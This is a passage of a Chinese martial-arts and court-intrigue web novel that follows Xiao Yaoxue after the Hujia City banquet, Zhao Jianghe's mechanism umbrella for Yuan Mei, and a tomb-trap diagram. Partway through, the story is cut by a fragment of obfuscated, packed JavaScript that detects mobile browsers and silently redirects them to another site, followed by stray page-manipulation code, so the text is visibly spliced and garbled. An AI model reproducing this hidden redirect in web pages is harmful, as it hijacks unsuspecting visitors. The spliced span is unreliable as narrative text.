江秋鸿看到事态最终发成了这样，心中也松了一口气，至少这位李家大小姐，没有想着把东西带走，虽然留下这么个限制，但好歹东西还在，一个盒子而已，除了以后再也看不到这夜明珠发光，但是作为胡笳城的象征，它还留在胡笳城就足够了。 江秋鸿走下上位，来到了萧妖雪面前，亲手接过侍女手中的盒子，仔细打量了起来。这盒子的机关之所以难解一是层层叠叠一环扣一环，二是其中还融入了奇门遁甲之术，所看未必为真，所以才是破解充满难度。江秋鸿能看出来其中的道理，但是她却不懂机巧之术，所以，她也难以解开。 打量之后，江秋鸿得出了一个结论，胡笳城里恐怕没有人有能力破解这盒子。 江秋鸿抬眼看了萧妖雪道：“胡笳城多谢萧姑娘赠礼，日后只要萧姑娘有需要，胡笳城赴汤蹈火在所不辞。” 萧妖雪听得出江秋鸿说出这话并非她本意，其中违心的成分占了太多。但是现在确实是归拢胡笳城好时机，看来需要一个契机，让这位胡笳城主消除一些对李家不好的印象。 突然萧妖雪想到自己进城时有不少人跟踪自己恐怕已经将自己和潇湘阁联系上了，只是还不够肯定，倒不如…… “江城主，若之后您或者胡笳城遇到任何困难，都可以让潇湘阁送信，我自会尽全力帮助你们度过难关的。” 听到这话，江秋鸿也确定了心中所想，这位萧姑娘就是突然造访胡笳城潇湘阁的那个令史。看来今日送出去这珠子也不亏。 听罢，江秋鸿也是展颜一笑，道了谢，一抬手邀萧妖雪入座。 萧妖雪刚回到座位上，周明理前面的酒已经换了第四壶了，他整个人也透着醉意，看起来是醉了，那枚拿出去押注的玉佩现在也完好的放在他面前，似乎是看到了萧妖雪落座，这位三皇子又强打精神，让自己的声音听起来，尽量正常，说道：“妖雪，你果然厉害，刚刚那几下……额……我看了，有东西有东西……”开始几个字还能面前保持正常，但说道后面就开始恍惚了。只是在听到周明理这样叫自己的时候，还有些许恍惚，也不知道这是他醉了还是故意的。 萧妖雪看着他这样子也只能无奈，摇了摇头。正当她以为这位殿下还要再继续喝的时候，却不料他头一歪就睡了过去，台下的客人也都是脸上染着醉意，说的话也不及刚开始那么文质彬彬，骂娘声此起彼伏。上座的江秋鸿也是几杯酒下肚后脸上泛起了红晕。 此时的宴会已经进入到了拼酒环节，觥筹交错，在胡晓枭的带领下，萧妖雪也被敬了几杯酒。不得不说这西域的酒确实烈，几杯下肚，萧妖雪已经觉得头脑有些发晕发热了。加上这嘈杂的宴会，她是一刻都不想多呆了，又看看了身旁睡死的周明理，她严重怀疑周明理是为了躲敬酒，再装睡过去的。 萧妖雪今日是周明理邀请来的，自然也是要同他一起离去。不过看看现在周明理这睡死过去的样子，指望他醒过来，自己估计要先喝死过去，看来还是得靠自己。 萧妖雪起身对着上坐的江秋鸿，躬身说道：“江城主，恕萧某酒量有限，小酌几杯已有些不适，我看三殿下也是不省人事了，我就带他先行离开，不知可否先行回去了。” 江秋鸿自然听得出萧妖雪的意思，她今天来也就是冲着那夜明珠来的，如今目的已经达成，再久留也是无趣，再加上她身边那装睡的皇子，恐怕这二人都是想溜的。既然他们想走江秋鸿也没有留人的理由，寒暄几句，便安排人送他们离开了。 送到了门口，那小厮就回去了，门口已经有一辆马车在这等着，萧妖雪认出了是之前周明理的马车，只是看着车夫就是早就预料到他们此时会出来一样，见萧妖雪搀扶着周明理，他也忙上前去打了一把手，将他家殿下扶上了车。萧妖雪坐定后仔细打量起周明理，这周家的血脉就是不错，个个都相貌堂堂，更别说周明理的母亲还是西丹数一数二的大美女。在嫁人之前也是胭脂榜上出了名的一号人物。这周明理显然是将父母双方的优点集合了，这安安静静地看起确实养眼。 不过此时萧妖雪，可没心情欣赏这张俊颜，毕竟这装睡的俊颜看起来也没那么顺眼。 萧妖雪用手戳了戳周明理，开口道：“现在没人了，殿下也不必装了，刚刚扶你出来，你步伐稳健，哪像那喝醉酒的人。” 听到这话的周明理，眼皮动了动，似乎是在考虑萧妖雪是不是在诈他，但是最后还是选择，睁开眼坐起身来，虽说是没有醉得不省人事，但是下肚的是三壶酒又不是三壶水，此时周明理眼睛、脸颊还是有些发红。他看着萧妖雪道：“萧姑娘，不愧是你，好眼力。今日那场比武着实精彩，只是时间不早了，之后若有缘我定要找你好好讨教一番。” 萧妖雪也只当他这话是耳旁风，并未细想，毕竟这皇子拜武林人士为师、学习江湖功夫是大忌，要学学的也是提兵调将，或者上阵杀敌。再要说来这朝堂之上武艺最高，非镇远大将军徐战莫属，而徐战在众多皇子也只收了五皇子周明启为徒。这周明理若是武艺不错，那么恐怕就有些隐情了，而且这样他恐怕也不敢如此光明正大说出来。 马车很快就到了萧妖雪住的客栈，周明理目送着萧妖雪下了车，进了客栈。就在车夫刚将马车驶离客栈，周明理就一个箭步冲下马车，站在路边哇哇，吐了出来，车夫赶忙跑过来拍着自家主子的后背，给他顺气。好不容易把该吐的都吐了，车夫也不留情，就直接道出了心中所想：“殿下要我说，就你那酒量，你还喝这么多，车上还装清醒，要不是我驾马驾得快，你可就要当着人家姑娘的面吐出来了。” 周明理听着这挖苦也是心中难过，但是他说的还句句在理，难以反驳。周明理只好说道：“孙放，你知道个屁，要不喝这么多，今晚那群疯子，哪那么好就应付过去。” “那你就让萧姑娘一个人硬撑。”孙放是明眼人，又跟着周明理这些年看事情确实透彻，就是说话也挺透彻。他们主仆二人在一起的时候，孙放也时常如现在这般堵得周明理说不出话。 看着自己主人吐成这般，孙放倒也不在意什么主仆尊卑，重重的在周明理背上敲了一下，似乎是在报复这人强词夺理。 周明理被他拍的一口气差点没上来，暗骂一声。不过似乎这样的场景在二人之间经常出现，孙放也不在意，反正自己心头的气出了也就没关系。二人从小一起长起来，之间的关系已经超越了主仆，更似兄弟，就这样“兄友弟恭”的场面也经常出现。 这一幕却被还未走远的萧妖雪收入眼底，内心不得感慨一句这没受到京都风气沾染的皇子还真是不一般。那日他问起自己的婚事，其实萧妖雪知道，以李治的身份她将来的夫婿多半是皇子，但是京都中那两位，她虽然没有直接接触，但是若谈真感情，她还真不愿意选择他们，眼前这位反倒好感增加不少。 现在看来这个三殿下是一个不错的选择，但是若从其他利益来看，那他便是下下策。 京都作为的东梁的都城，每天都有数万人进出，也有数万条消息在流动。就在萧妖雪做客胡笳城的第二日，李治就收到当日夜宴的情况，上面将夜宴的情况一字不落的转述给李治。 李治拿着信反反复复读了三次才放下，其实萧妖雪会转道去胡笳城的事，在他的预料之中，只是这突然就将胡笳城的夜明珠收入囊中，是他没想到的，不过现在看来，这也不是什么坏事。也就由她去了。 李治捻着手指算了算，恐怕这姑娘不仅仅去了胡笳城，但具体的情况他不得而知，还是只能等待她回来亲口说。 再说这几日，自从赵江河从李治这里得了《机巧录》又是好几日，除了上朝就闭门不出，整日琢磨他那千机伞，终于功夫不负有心人，这伞算是做出来了，就开始琢磨着这伞怎么给人送过去。 赵江河也听说了，萧妖雪送着李无忧去了西域，但这一去也好多天过去，怎么一点回来的消息都没有，还是说她已经回来了，只是自己最近这段时间潜心钻研遗漏了呢。很快赵江河就被后者说服了，将千机伞收拾好，准备明日上朝时，遇上李安国问他一问。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649957|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 第二日赵江河按照自己昨日的规划，将千机伞带了过去，放在马车上，等待等会散朝找李安国聊一聊。 今日的朝会意料中的没有什么大事发生，赵江河的心里也一直在盘算着等会如何开口，虽然很快就散朝了，但赵江河这心中藏着事还是觉得过了挺久。 散朝后，他就快步找到李安国，今日李治和徐战被圣人邀请到后花园品茶去了，只有李安国一人离开，赵江河叫住李安国后，又觉得自己难开口，二人站那寒暄就你来我往的说了半天。 今日的京都天气甚佳，冬日的太阳一直罩在身上还是有一丝的暖意，但是在李安国看来这太阳再怎么暖也不至于把赵江河脸晒红吧，又加上他这犹犹豫豫的态度，李安国揣摩了半天才想到，恐怕这小子是想找袁梅。 明白用意之后，这对话就更容易推进了，李安国不是喜欢那样绕弯子的人，再加上他与赵江河也算相熟，就直言不讳的说出了心中所想：“江河，前几日我看父亲送了你本《机巧录》，你是不是做出点什么东西想要送给袁姑娘呀。“ 赵江河一听这话脸更红，李安国有一瞬间都怀疑现在到底是不是冬天，这小子怕不是穿太多给自己捂死。 赵江河被这么突然的引入正题更觉得不好意思了，结结巴巴道：“额，那个，就一把千机伞而已。“ 李安国听到这，先来自己在几个月前就叫这小子送东西，他这几个月无动于衷，这父亲一开口，不过几天时间，这小子就来找他帮忙了。 不过李安国倒也乐意看这景象，思索现在袁墨与袁梅相认，袁梅恐怕也是住在袁墨的府上，这刚下朝不久，袁墨也应当是要先回府收拾收拾，就直接带着赵江河奔着袁府去了。 胡笳城小记： 开元三年，就在整个东梁都轰轰烈烈的闹着擂台赛的时候，胡笳城也迎来一件大喜事，胡笳城的少城主要成亲了。 这对于这样一个边塞小城，那可是天大的事，对于整个胡笳城影响力不弱于新皇登基，因为就是在这一日，老城主也有一件重要的事情要宣布，那便是少城主胡令即将继承胡笳城城主之位。 这胡笳城的老城主本有两个儿子哥哥胡铭弟弟胡令，本意是兄弟二人相互搀扶，怎奈胡铭整日里就想着去闯江湖，惹得老城主心中不悦，便将这胡笳城城主之位传给了弟弟胡令。 不过好在胡令确实争气，在做少城主的这些日子里，他把胡笳城治理得井井有条。这城中做生意的商贩对这位少城主也是称赞连连，更令老城主心满意足的是胡令刚坐上少城主之位，便结识了游历至此的江秋鸿，二人迅速坠入爱河，提亲之事很快提上了日程。 至于老城主为何对江秋鸿如此满意，这其中不仅仅是因为这女子自身，更是因为她是京都官家出身，她的弟弟江冬藏如今也是官拜刑案司副职。这对于胡笳城来说是一个非常不错的人脉。 就在二人婚后不久，江秋鸿便腹中有喜，胡令本以为这妻贤子孝的后半生即将开启，但不料胡铭的回来，改变了一切。 开元四年初，整个东梁的武人都在翘首以盼将军贴的时候，胡笳城也收到了这样一份将军贴。 烫金的狮子头烙在红色请帖上格外显眼，但是那张将军贴却一直放在胡令的书桌上，无人愿意碰触。 只是似乎胡令这边没有回音也是将军阁意料之中的事情，这张英雄帖一放便是一月，他们夫妻二人并未再收到任何将军阁传来的消息。 知道胡铭回来，那天是个风沙天，胡令收到兄长要回来消息，便急忙安排了家宴，老城主虽然之前对于胡铭游走江湖不满，但毕竟这么久没有见到胡铭还是非常想念。 终于盼星星盼月亮将胡铭盼了回来，哪料到这人刚刚落座第一句话，便是一个让在座之人都为之心颤的消息。 就在老城主宣布开席之后，胡铭起身端起酒杯说道：“今日我胡铭要在这里敬大家一杯，若不是我出生我这辈子都不会有这样的机会，就在回家之前，我已经去了将军阁，现在已经是在单将军手下做事。” 此言一出，桌上众人的笑容顿时僵住，胡铭还没有明白其中的道理，见无人接话，又自顾自说道：“若是日后咱们在京都有什么麻烦事，哈哈哈哈，都可以找我。” “混账！”只听得老城主怒骂一声，随即啪的一声，胡铭左脸结结实实挨了一巴掌。 这一下真给胡铭给打蒙了，他不明白明明这事可以说是他们胡笳城一个喜事，为何父亲如此生气。 “老大，这是你糊涂呀！”这句话胡铭不知道在父亲口中听到过多少次，似乎他每次做的事他都是无理的那个，而弟弟总是对的。 看着此事的父亲已经气的说不出话，这饭看来又是吃不了，正当胡铭打算就此离开的时候就听到弟弟说道：“兄长，这将军帖我们也收到了，但是我们合计了一下，此事风险太大，还是不宜参与。你现在刚刚加入，应当知之甚少，如果可以还是尽快找个理由推脱了吧。” “推脱凭什么？胡令你自己只会躲在这胡笳城当缩头乌龟，你哥我干什么还要你管？我知道弟弟你现在是找了个京都的媳妇，京都人脉你不缺。你们也看不上我这条人脉，只觉得我碍事。你们不是一直都看不上我吗？不是看不上这将军贴吗？好！日后我就要让你们求着我办事。”说罢便拂衣而去，不管这外面风沙多大，一人一马就出了城。 当夜老城主就被气得吐血而亡，死前还不忘叮嘱胡令一定要想尽办法保全胡铭。 28. 公主坟内 今日袁墨收到了马志才送来的公主坟的地图，除此以外，还有一张发黄的图纸，马志才在信中提及，这是很早之前一伙盗墓贼进了公主坟，记录下的其中的一些机关，最后那伙盗墓贼金银财宝没有摸到，就想着拿这张图换点钱财，马志才的父亲喜爱研究兵器机关，就看上了这张图，除了不低价钱买了过来。后面老爷子去世后，马志才对着公主坟的机关没多大兴趣，这张图就就一直在马家的书房中存着。这次想到袁墨说要去探这公主坟，倒不如就将这图做个顺水人情，就把图也送给了袁墨。 拿到东西的袁墨叫来了袁梅，二人对机关设计是一窍不通，看着这张图如同天书，袁梅本来心想就凭着武力硬闯倒也没什么问题，可是袁墨却不想如此，一来他不希望自己妹妹去冒这个险，二来若是这样做了，恐怕会打草惊蛇。可是这玩意拿着大街上抓个人问也不是个什么好主意，正当二人一筹莫展之时，门外传来了敲门声。 赵江河被李安国带着来到了兰巷巷口，此时的赵江河还是一头雾水，不是说去找袁姑娘吗？这李安国怎么把他带到了袁府，京都中袁姓不是小姓，李安国该不会搞错了吧。 正当李安国要叩门时，赵江河急忙忙叫住他：“安国兄，你是不是搞错？” 李安国也被他这话问得满头雾水，这不是他要找袁梅吗？不来她家他们还能去哪。 “就……我要找的是袁梅袁姑娘，这是袁卿府邸呀。” 李安国愣了一下，才反应过来，感情这小子还不知道袁梅是袁墨的妹妹，以为自己让他把伞送给袁墨来了，瞬间逗他玩一玩的心达到了巅峰。 李安国忍住嘴角的笑意说：“我自然知道你是袁梅呀，但是我刚好找袁墨有点事，你不如就先陪我走这趟？” 赵江河平日里与袁墨没什么交集，但是与李安国倒是相熟，既然他这么说，自己也没有什么拒绝的理由。 见赵江河不再推脱，李安国就抬手敲开了门，门内好半天没有动静，正当二人以为家中无人准备离开之时，这门才吱呀呀的打开了，袁墨似乎刚回家不久，又或者被什么事情缠上了，竟然连朝服都还没褪去，看到门口站的是李安国和赵江河，悬着的心稍微落下一点，但是还很难猜出二人来的目的。要说只是李安国一人来，他还会觉得是李治派他来传话，但这赵江河也跟着来，这是所谓何故呢？ 李安国看着袁墨脸上也是疑惑的表情，便开口说道：“袁兄，安国贸然登门，多有叨扰还望见谅。但今日也是不得不来。” 袁墨与李、赵二人倒也无恶意，侧身就将二人让进了屋里。 袁墨在京都刚上任不久，这屋舍虽说是府，但其实比起其他官人的府邸，顶多算个院，位置又在兰巷，也算不上好地方。 只见这一路进来，装饰简陋，整个院落中充斥着一股自然的青草香石板小路两边的花草也是无人打理一般自由生长。枯木的落叶堆在一旁的草丛中，只有路上的枯草枯叶被随意的扫开，给人一种略显萧条的感觉。 屋内更是几把红木椅便安置完全，没有装饰的字画，也没有点缀的盆栽。只是好在光线充足，不会让人感到压抑。 这袁府之中没有几个下人，李安国他们落座后，茶水都是袁墨亲自倒的。 待众人坐定后，袁墨还是忍不住开口问道：“不知二位今日前来所谓何事？” 此时场上又多了一个疑惑的人，赵江河看向李安国，眼神中那感情你也没和他说你要来呀的意味应溢出来了。 李安国看着这两人大眼瞪小眼，心中莫名觉得好笑。 但是玩笑有一点就可以，再开估计他两要被袁墨请出去了，李安国开口道：“袁兄切莫误会，今日不是安国来寻你，而是赵兄来找你的妹妹袁梅的。” “什么？我？”赵江河纳闷，刚这人不才说是他有事找袁墨，怎么又是自己要找。 “他？找谁？”疑惑同样萦绕袁墨，他俩之前不是就要退婚了吗，这小子是多看不上袁梅，竟然主动找上门来退婚。 “袁梅？！”最后二人似乎对于要找的这个人是袁梅都存在很大的疑惑。 说到这赵、袁二人的表情都从疑惑变成震惊，赵江河此时非常想原地挖个洞走了，这李安国不是说不找这的袁姑娘吗，这算是闹的哪门子的事情。 而袁墨只觉得，这怎么就突然有个与妹妹素不相识的人找上门了，虽然袁墨知道袁梅有一桩婚事，对方却是在京都，但是似乎在二人都还没有进京之前，袁梅对这桩婚事极其反感，反倒是这段时间没有再听她提起。今日这赵江河突然找上了门，难道说袁梅的婚事与他有关，只是这赵江河看起来呆呆愣愣，弱不禁风，现在怎么看都不是袁梅的良配。 眼看热闹看的差不多，李安国自然早就知道袁梅与袁墨是兄妹，二人现在都住在袁府，所以袁墨在他前面也没什么好遮掩的，但是想要解决这些困扰还是要将袁梅叫出来，他俩当面谈谈。 袁墨喝了口茶压了压惊，让二人在此稍作等待，自己亲自去找袁梅去了。 可却也是巧，袁墨刚转到后院，袁梅也急冲冲的拿着图纸来找他。看到妹妹这么着急模样，袁墨也顾不上说明正厅这边的情况，就急忙问道：“小梅，怎么了？” 袁梅换了一口气，急忙说道：“哥，我知道找谁了！我们可以找赵江河，他是李相的门生，而且机巧之术，也确实了得，之前那木偶千金就是出自他之手。说不好，这图他也可以看懂。” “……”自己这妹妹，还真是考虑周到。 “哥，你怎么了？” 袁墨听到赵江河这三个字的时候，脑子已经有些乱了，感情袁梅已经与他见过面了。虽然赵江河现在是工匠司的副职，但是自袁墨上任以来，也没见他拿出点什么特别的东西，所以对这个人也没有过多留意，今天突然得到了他那么多信息，袁墨都有些不知道该先处理哪条了。 袁梅看他愣在原地，就问道：“哥，刚不是有人敲门吗，是有客人，你过来是找我吗？” 袁墨突然不知道该如何回答这个问题，只好说道：“刚刚的客人……是来找你的，反正你过去就知道。”说罢袁墨拉着袁梅就向正厅而去。 此时在正厅坐着的赵江河，是浑身不自在，本来李安国说是他来找袁墨，可谁想到，突然就说是来找袁梅，而且袁梅还真的就在这，这简直让赵江河毫无准备。李安国看他这样子也是觉得好笑，估计昨晚已经是准备多少词都不知道，事到临头了还是一副不想面对的样子，感觉反倒像自己在强拧他和袁梅这瓜，但是李安国怎么记得明明是他来找自己的。 不过看在赵江河太过于焦躁，李安国还是把那些嘲笑的话咽了回去，只是说道：“袁梅与袁墨本就是兄妹，这也不是什么秘密，只是袁墨也不特意声张，知道的人比较少罢了。你这些日子都深居简出不知道也正常，我是看你刚刚太紧张，所以我才那样说。” 赵江河听了李无忧这话，刚刚的那丝怒火瞬间就蔫了，虽说赵江河是个工匠司的副职，而李安国只是一个兵马司吏，但是赵江河仿佛就对李安国有种依赖的心理，仿佛他是自己的大哥一般。 袁墨出去没多久就拉着袁梅来到正厅，今日袁梅所着衣裳也是京都女子寻常服饰，不过也是选择比较干练的款式，与那些寻常的莺莺燕燕确实不一样。 袁梅刚踏进正厅的就呆了眼，这赵江河怎么就在这了，自己不是刚刚才想到他，难道他会未卜先知？这李家大公子怎么也在？他这表情，怎么好像就是他使的坏。 难怪这位李家大公子在京都八面亨通，拒绝了这么多媒婆，还是这么多人前仆后继的往上赶。再看看自己兄长整日里脑袋中全是算计，这方面根本是无心顾及。至于那赵江河虽然之前与他相处觉得此人确实有几分实力，但是这脑袋实在太木了，又加上有这婚约在这束手束脚，袁梅心中多少觉得差点意思。 几人就这样尴尬的对视了几秒钟，袁墨终于开口了：“赵兄，你与小梅先聊，我和李兄刚好有些事要谈。李兄劳烦您移步下，我们去后院坐坐？” 李安国自然是识趣的人，不等袁墨催促，李安国就已经走到门外了，袁墨看着他这样子，就知道今天这局面中，估计有八分都是他的功劳，但是现在袁梅和赵江河的态度，他都还不是很清楚，所以也不好多说什么，只能退出来带好了门，又无奈得看了看李安国。 其实袁墨和李安国也算不上熟，但是因为在虎丘阁一案之后，袁墨与父亲李治的关系也算不错，不时有往来，他们二人也算混了个眼熟，只是这样坐下来好好聊聊的情况还真没有。 二人在后院坐定，袁墨率先问道：“李兄，你早就知道了小梅和赵兄有婚约？” 李安国听到这个问题很是诧异，看他今日的表情似乎是才知道袁梅的婚约对象是赵江河，李安国说：“之前机缘巧合下，知道了袁姑娘此次进京是为了退婚而来，他们之前在李相的安排下见过一面，那时恰好我也在场，所以略知一二。” 听到这话的袁墨眉头皱得更紧了，自己妹妹什么性格他怎么会不清楚，他们都见过一面了这婚还没退了，这事定然不简单，恐怕袁梅心中对赵江河印象还是不错的。至赵江河那个小伙子，只要不是瞎子都能看出来那小子对袁梅有意思。 其实从袁墨的角度出发，他也不反对这门婚事，这赵江河一看不是什么多事的主，估计对小梅也不会差，只是希望日后那事不要对他有影响。 有些事越想越乱，倒不如让先随他去，可能命运会选出一条不错的路。袁墨也不愿意再纠结，与李安国开始有一句没一句的聊了起来。 正厅中的气氛就更尴尬了，袁梅在纠结怎么请赵江河帮她看公主坟的机关，而赵江河再纠结怎么把千机伞送出去。 二人沉默了好一阵，竟然又同时开口，最终袁梅还是让赵江河先说。 赵江河思索了半天，终于说道：“袁姑娘，这是我最近研究的一把千机伞，想请你帮忙看看。” 袁梅接过赵江河递过来的千机伞，因为整把伞是空心结构的拿起来倒是不重，冰凉的钢铁质感入手倒是增添了几分杀气，这伞面还是用油纸封了的，乍一看与普通的伞倒是没什么两样，甚至油纸上还有一些简单的花纹。只是伞柄上多了一些机关，按下一些位置便会有对应的暗器弹出，这一点倒是让这把伞用起来方便了不少。袁梅自幼学的便是剑，所习的练气之术也是与剑术相辅相成的，她没有萧妖雪那么强的对气息的控制力，这伞上的按钮倒是弥补了她对暗器使用的缺陷。 赵江河看袁梅看得仔细，也简单介绍起来：“这千机伞里藏了三把刀，第一把是伞顶，这是把长刀，伞关闭伞为柄，伞打开伞为盾。第二把刀是在伞缘，每一根伞骨里都有一柄小刃，主打一个出其不意。第三把刀则以整把伞为鞘，从伞柄处拔出，是一枚匕首，若你有这习惯，也可以给这匕首淬毒。” 听着赵江河的介绍，袁梅直觉这人若真要去习武，那也差不到哪里。 见袁梅未说话，赵江河还以为自己这千机伞 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袁梅拿出之前马志才拿来的机关图，交给赵江河道：“赵大人，就是我与兄长对机关都不熟悉，想请你帮忙看看这张图。” 赵江河接过图纸一看，这兴趣立马就上来了，对着图比比画画，自言自语起来。但似乎这图有些不清晰，又或者有些地方他还不是很确定，时而皱眉时而展颜。袁梅看他看得认真也没出言催促，而是静静地在旁边看着。 赵江河大概用了半柱香的时间，把整张图粗略地看了一遍，抬头对袁梅道：“袁姑娘拿的这图恐怕是哪个墓葬的机关吧，其中有些部分还是有些复杂，我需要回去查阅一些书籍才能得出结论，不知袁姑娘可等得？” 袁梅思索了一下，虽然距离见马志才也过去了一段时间，不知道公主坟那里情况怎么样，但是要说再等一等也还是可以的，便说道：“赵大人拿回去看吧，只是赵大人需要多久呢？” 赵江河思索了一下道：“三日如何，我会把每个机关拆解的方法给你。” 袁梅本以为会更久，三日着实出乎她的意料，但既然赵江河都说了，自己就相信他便好了。所以也是点头道：“多谢赵大人，还有就是烦请赵大人切记莫要将此事与他人说。” 在赵江河应下后，袁梅便起身去寻袁墨与李安国了。此时二人在后院已经聊得很是愉快，见袁梅来了，才有些不舍的结束话题。 回到正厅，四人简单道别，便各自离去。公主坟的秘密也将随着这张图纸渐渐展露开来。 萧云雁小记： 萧云雁拜入将军阁没几天就收到了将军阁派出的任务，从报酬来看确实丰厚，只是这任务看起来有些无厘头。 这任务与近期朝中的风波也有不小的关联，所述是南方的旱灾，今年颗粒无收，朝廷拨了万两白银，但是难民却仍然源源不断地涌入京都，一问都说分毫没有拿到。 对于此事朝堂之上的观点分作两派以单骁为首的一派认为皆因为拨款不足，还不能够安顿这些难民。另一派则是以刑案司副职江冬藏为首的，认为这其中定有人贪赃枉法，要求太子彻查。 要说单骁之所以可以笼络此等人心，那必然是离不开他那开怀的胸襟，两派才发生政见不同，单骁就同意自查这其中是否有不法之人。这让江冬藏等人无话可说，只能静待结果。 这事是朝政，萧云雁接到的任务自然不可能如此光明正大的让他们去涉足朝政。他们收到的任务却很是简单，仅仅是要求他们去查一个名叫侯涛的地方官，但是上面的暗示却让人不寒而栗。 这张将军贴上写着：萧云雁、胡铭、段天行三人前往荷县刺探荷县县尉是否有有违天子之意之行，一旦发现格杀勿论。 其实所言之意，有点眼力见都可以看出来这信只是写的委婉，行动的结局多半都是要拿这侯涛的命来交差。 任务要得急，信上指定三人当晚就碰了面，胡铭仗着胡笳城的名声，萧云雁倒是对此人有些了解，但这段天行似乎就只是一个江湖游侠，之前从未听过此人。 初步交谈之后，三人第二日便赶往了荷县，到了那萧云雁算是第一次看见了什么叫做饿殍遍地。 这个县简直毫无生机，所有的人都聚集在官府门口，就这样等着每天发一次的米汤。 他们三人都是武者，有自己的办法不让这些饿得半死不活的人发现在自己。 只是进了县衙却没有他们想象中那样别有洞天，同样是饿得不行的衙役，以及面黄肌瘦的县尉老爷，没有半分金银的味道。 萧云雁提议先做观察，二人都没有反驳什么。只是第二日，萧云雁和胡铭醒来就不见了段天行的身影，赶到府衙，就看到庭中放着侯涛那瘦弱的尸体，脖颈上一道血淋淋的伤口。就在此时，段天行突然出现在二人身后，二人俱是一惊，反手就要攻击，看清了是段天行才收住了。 “侯涛已经死了，我们可以回去。”段天行如此轻而易举说出这事，似乎根本不是死了一个人，而是泼了一盆水。 “你动手的？”胡铭率先问道。 “不然呢？” “我们都还没有查清，你怎么就……” 胡铭的话还没说完，就被段天行打断了。“你是不是傻，那将军贴上写的那么清楚，段涛就是得死。” 不等胡铭回话，段天行，转身就走。 “畜生！”胡铭大喝一声。气沉丹田，便向着段天行后背拍出一掌。 29. 公主坟内2 胡笳城晚宴过后，这胡笳城似乎没有什么变化，又似乎什么都变了，冬日的胡笳城天亮得也很晚，萧妖雪借着昨夜酒劲的作用睡到了客栈小厮说有她的信件才醒来。信件的内容也是很简单，是胡笳城的潇湘阁送来，上面只写到：公主坟已有线索，阁中一叙。 萧妖雪将东西收拾了，便直奔潇湘阁而去，同样还是在小巷之中略做了变装，入阁之后就被早早候在这的纤红带了上楼，上次来的那间房间已经布置好，萧妖雪进去坐好之后。纤红并没有再出去寻凤漠宁，而是说道：“令史大人，今日凤阁主今日去了马家，说那边关于公主坟有新的消息，但考虑到您可能要先着急回京，就交代我把阁中整理出来关于良田村和公主坟的东西先拿给你。” 说着纤红拿出一沓书简，萧妖雪简单翻阅了一下都是关于良田村和公主坟的一些基本情况，但大致看来这都是过去的事，对现在的情况恐怕已经不是那么重要了。 萧妖雪挑拣了一下，将公主坟的地图，还有良田村历代官员的情况拿了出来，其他的书简又交还给纤红。 纤红见这位令史大人似乎对这些结果并不是很满意，又说道：“凤阁主还嘱咐道，要告诉您一条消息。” 听到这萧妖雪突然来了兴趣，一点头示意纤红继续往下说。 纤红道：“昨日在良田村附近把守的鸟雀传来消息，说几日前看见一人身型很似孙凯之，现身在良田村附近，似乎是在找什么人，那鸟雀暗中跟随，孙凯之却非常却非常谨慎，特意选了风沙天气出门，我们的人跟了一段后就是去了目标，最后一次看见的是那人牵了两匹马往回走，似乎除此以外一无所获。” 听了这话萧妖雪心中也有了底，那人恐怕就是孙凯之，本来是跟着那两个跟踪自己的人来的，中间遇到风沙，只看见两匹马，在哪也没见自己的人，也没见他们要找的李万，所以只能无功而返。如此看来这鬼字营现在对于李万的身份还没有把握，应该不会贸然放弃公主坟这好地方，但是现在想要再入坟暗探，恐怕也更困难了。大家都在猜，就看谁下手快可以拿住这先机。 萧妖雪又将留下的几份书简认真的看了下，最后只带走了关于公主坟地图环境的那份，其他的都留在了阁中。正当萧妖雪要离开时，纤红急匆匆跑了过来，上气不接下气的说道：“令史大人，刚刚凤阁主传信回来说，京都中一位李相门下袁姓大人也在调查公主坟，马家已经将这些年手上有关公主坟的所有信息都给了他们呢。凤阁主说若您与他们是友，可共探，若是敌必万分小心。” 京中李相门下的袁姓，又会对公主坟感兴趣了，恐怕也只有袁墨了，如此看来倒是得来全不费功夫，既然他们端出了李相，恐怕父亲也是知道这件事，毕竟无论是良田村还是公主坟的阴谋估计都是冲着他去的，现在回京，刻不容缓。 萧妖雪向纤红道了谢，便匆匆离开潇湘阁。事后，纤红在清理刚刚那间屋子时，在桌子发现了一个金坨子，这重量打底就是潇湘阁出售这种等级信息的价格，看来这位令史，倒也体贴，完全没有滥用自己身份。 萧妖雪离了潇湘阁后就奔马厩将自己骑来的马儿取走，向城东门出城，向着京都的方向赶去，可谁料，这刚出城门就看到了一辆眼熟的马车。昨夜那车夫和周明理一人一边坐在马车上，看到萧妖雪的身影，周明理就下了马车，裹了裹衣服，在路边等候她过来。 萧妖雪着实没想到，这周明理竟然还会来此送行。勒紧了缰绳，将马停下，萧妖雪翻身下马，与周明理对视一眼，只觉得今日这周明理一身厚袄，双手插着袖子里这形象，真是一点都不像皇子。于是开口打趣道：“什么风把殿下您给吹到这里？” 周明理不在乎她说了什么，淡淡道：“早上去客栈找你，伙计说你已经走了，我想着你定然是着急回京，就来这等你了，没想到运气这么好，还真等到了。” “那既然殿下都能猜到我是回京了，不如猜猜我什么时候还会再来这胡笳城？” 周明理对于萧妖雪的打趣倒也不在意，反而正经的说道：“你什么时候来胡笳城我不知道，但是我猜你很快会去良田村。”显然这个答案并没有符合萧妖雪的期待。 “良田村离京都那么近，我当然是想去就去。” 周明理也不在这个问题上纠结了，而是语重心长地嘱咐道：“你此次回京，万事小心，记住做事一定不要犹豫不决，贪多不放。现在这境况只能快刀斩乱麻。” “多谢殿下，此番前来胡笳城若不是殿下在后面推波助澜，妖雪倒是还做不成这么多事。来得匆忙没有给殿下带什么谢礼，只是一枚潇湘阁的急令，便送与殿下。” 所谓急令看起来也不过是一枚普通的木牌，上面绘着一个如同女子花钿一样的图案。关于潇湘阁的江湖传闻不少，这个急令周明理也略有耳闻，据说只需要持令入潇湘阁，那么就算上刀山下火海，她们也会把你要的消息弄到手。 这样的令牌，只有阁主之上的人才有，很少送人大多都是留作己用。所以此时萧妖雪会拿此作为赠礼，足以看出其中轻重。 